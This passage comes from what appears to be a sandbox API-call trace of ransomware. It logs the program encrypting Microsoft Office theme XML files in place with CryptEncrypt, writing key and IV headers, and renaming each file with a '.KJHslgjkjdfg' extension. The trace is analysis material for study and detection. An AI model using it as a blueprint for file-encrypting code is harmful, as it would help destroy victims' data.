lpNewFilePointer=0x0) returned 1 [0197.286] ReadFile (in: hFile=0xf0, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x39d, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x39d, lpOverlapped=0x0) returned 1 [0197.286] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3a0, dwBufLen=0x3a0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3a0) returned 1 [0197.286] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.286] WriteFile (in: hFile=0xf0, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x3a0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x3a0, lpOverlapped=0x0) returned 1 [0197.286] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0197.286] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x464, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.286] SetEndOfFile (hFile=0xf0) returned 1 [0197.288] GetProcessHeap () returned 0x2a0000 [0197.288] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0197.288] GetProcessHeap () returned 0x2a0000 [0197.288] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0197.288] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Angles.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\angles.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Angles.xml.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\angles.xml.kjhslgjkjdfg")) returned 1 [0197.290] CloseHandle (hObject=0xf0) returned 1 [0197.290] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb6b6700, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeb6b6700, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Apex.xml", cAlternateFileName="")) returned 1 [0197.290] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Apex.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\apex.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0197.292] GetProcessHeap () returned 0x2a0000 [0197.292] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0197.292] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0197.292] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0197.292] WriteFile (in: hFile=0xf0, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x1, lpOverlapped=0x0) returned 1 [0197.294] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0197.294] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0197.294] GetProcessHeap () returned 0x2a0000 [0197.294] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0197.294] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290f258*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290f258*=0x30) returned 1 [0197.294] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0197.294] WriteFile (in: hFile=0xf0, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290f270*=0x30, lpOverlapped=0x0) returned 1 [0197.294] WriteFile (in: hFile=0xf0, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0197.294] WriteFile (in: hFile=0xf0, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0197.295] WriteFile (in: hFile=0xf0, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0197.295] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0197.295] WriteFile (in: hFile=0xf0, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0197.295] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0197.295] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0197.295] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.295] ReadFile (in: hFile=0xf0, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x3bf, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x3bf, lpOverlapped=0x0) returned 1 [0197.295] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3c0, dwBufLen=0x3c0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3c0) returned 1 [0197.295] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.295] WriteFile (in: hFile=0xf0, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x3c0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x3c0, lpOverlapped=0x0) returned 1 [0197.295] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0197.295] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x484, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.295] SetEndOfFile (hFile=0xf0) returned 1 [0197.298] GetProcessHeap () returned 0x2a0000 [0197.298] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0197.298] GetProcessHeap () returned 0x2a0000 [0197.298] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0197.298] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Apex.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\apex.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Apex.xml.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\apex.xml.kjhslgjkjdfg")) returned 1 [0197.300] CloseHandle (hObject=0xf0) returned 1 [0197.300] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe09100, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x603a86d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe09100, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Apothecary.xml", cAlternateFileName="APOTHE~1.XML")) returned 1 [0197.300] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Apothecary.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\apothecary.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0197.304] GetProcessHeap () returned 0x2a0000 [0197.304] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0197.304] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0197.304] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0197.304] WriteFile (in: hFile=0xf0, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xb, lpOverlapped=0x0) returned 1 [0197.307] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0197.307] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0197.307] GetProcessHeap () returned 0x2a0000 [0197.307] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0197.307] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0197.307] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0197.307] WriteFile (in: hFile=0xf0, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0197.307] WriteFile (in: hFile=0xf0, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0197.307] WriteFile (in: hFile=0xf0, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0197.307] WriteFile (in: hFile=0xf0, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0197.307] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0197.307] WriteFile (in: hFile=0xf0, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0197.307] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0197.307] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0197.307] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.307] ReadFile (in: hFile=0xf0, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x3c5, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x3c5, lpOverlapped=0x0) returned 1 [0197.307] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3d0, dwBufLen=0x3d0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3d0) returned 1 [0197.308] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.308] WriteFile (in: hFile=0xf0, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x3d0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x3d0, lpOverlapped=0x0) returned 1 [0197.308] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0197.308] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.308] SetEndOfFile (hFile=0xf0) returned 1 [0197.310] GetProcessHeap () returned 0x2a0000 [0197.310] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0197.310] GetProcessHeap () returned 0x2a0000 [0197.310] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0197.310] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Apothecary.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\apothecary.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Apothecary.xml.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\apothecary.xml.kjhslgjkjdfg")) returned 1 [0197.312] CloseHandle (hObject=0xf0) returned 1 [0197.312] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec9c9400, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xec9c9400, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Aspect.xml", cAlternateFileName="")) returned 1 [0197.312] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Aspect.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\aspect.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0197.313] GetProcessHeap () returned 0x2a0000 [0197.313] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0197.313] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0197.313] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0197.313] WriteFile (in: hFile=0xf0, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xf, lpOverlapped=0x0) returned 1 [0197.320] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0197.320] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0197.320] GetProcessHeap () returned 0x2a0000 [0197.320] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0197.320] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290f258*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290f258*=0x30) returned 1 [0197.320] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0197.320] WriteFile (in: hFile=0xf0, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290f270*=0x30, lpOverlapped=0x0) returned 1 [0197.320] WriteFile (in: hFile=0xf0, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0197.320] WriteFile (in: hFile=0xf0, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0197.320] WriteFile (in: hFile=0xf0, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0197.320] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0197.321] WriteFile (in: hFile=0xf0, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0197.321] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0197.321] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0197.321] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.321] ReadFile (in: hFile=0xf0, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x3c1, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x3c1, lpOverlapped=0x0) returned 1 [0197.321] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3d0, dwBufLen=0x3d0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3d0) returned 1 [0197.321] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.321] WriteFile (in: hFile=0xf0, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x3d0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x3d0, lpOverlapped=0x0) returned 1 [0197.321] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0197.321] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x494, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.321] SetEndOfFile (hFile=0xf0) returned 1 [0197.323] GetProcessHeap () returned 0x2a0000 [0197.323] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0197.323] GetProcessHeap () returned 0x2a0000 [0197.323] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0197.324] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Aspect.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\aspect.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Aspect.xml.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\aspect.xml.kjhslgjkjdfg")) returned 1 [0197.325] CloseHandle (hObject=0xf0) returned 1 [0197.325] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x211be00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x211be00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Austin.xml", cAlternateFileName="")) returned 1 [0197.325] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Austin.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\austin.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0197.326] GetProcessHeap () returned 0x2a0000 [0197.326] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0197.327] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0197.327] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0197.327] WriteFile (in: hFile=0xf0, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xf, lpOverlapped=0x0) returned 1 [0197.329] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0197.329] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0197.329] GetProcessHeap () returned 0x2a0000 [0197.329] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0197.329] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290f258*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290f258*=0x30) returned 1 [0197.329] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0197.329] WriteFile (in: hFile=0xf0, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290f270*=0x30, lpOverlapped=0x0) returned 1 [0197.329] WriteFile (in: hFile=0xf0, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0197.329] WriteFile (in: hFile=0xf0, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0197.329] WriteFile (in: hFile=0xf0, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0197.329] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0197.329] WriteFile (in: hFile=0xf0, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0197.329] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0197.329] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0197.329] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.329] ReadFile (in: hFile=0xf0, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x3c1, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x3c1, lpOverlapped=0x0) returned 1 [0197.329] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3d0, dwBufLen=0x3d0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3d0) returned 1 [0197.329] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.330] WriteFile (in: hFile=0xf0, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x3d0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x3d0, lpOverlapped=0x0) returned 1 [0197.330] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0197.330] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x494, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.330] SetEndOfFile (hFile=0xf0) returned 1 [0197.332] GetProcessHeap () returned 0x2a0000 [0197.332] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: 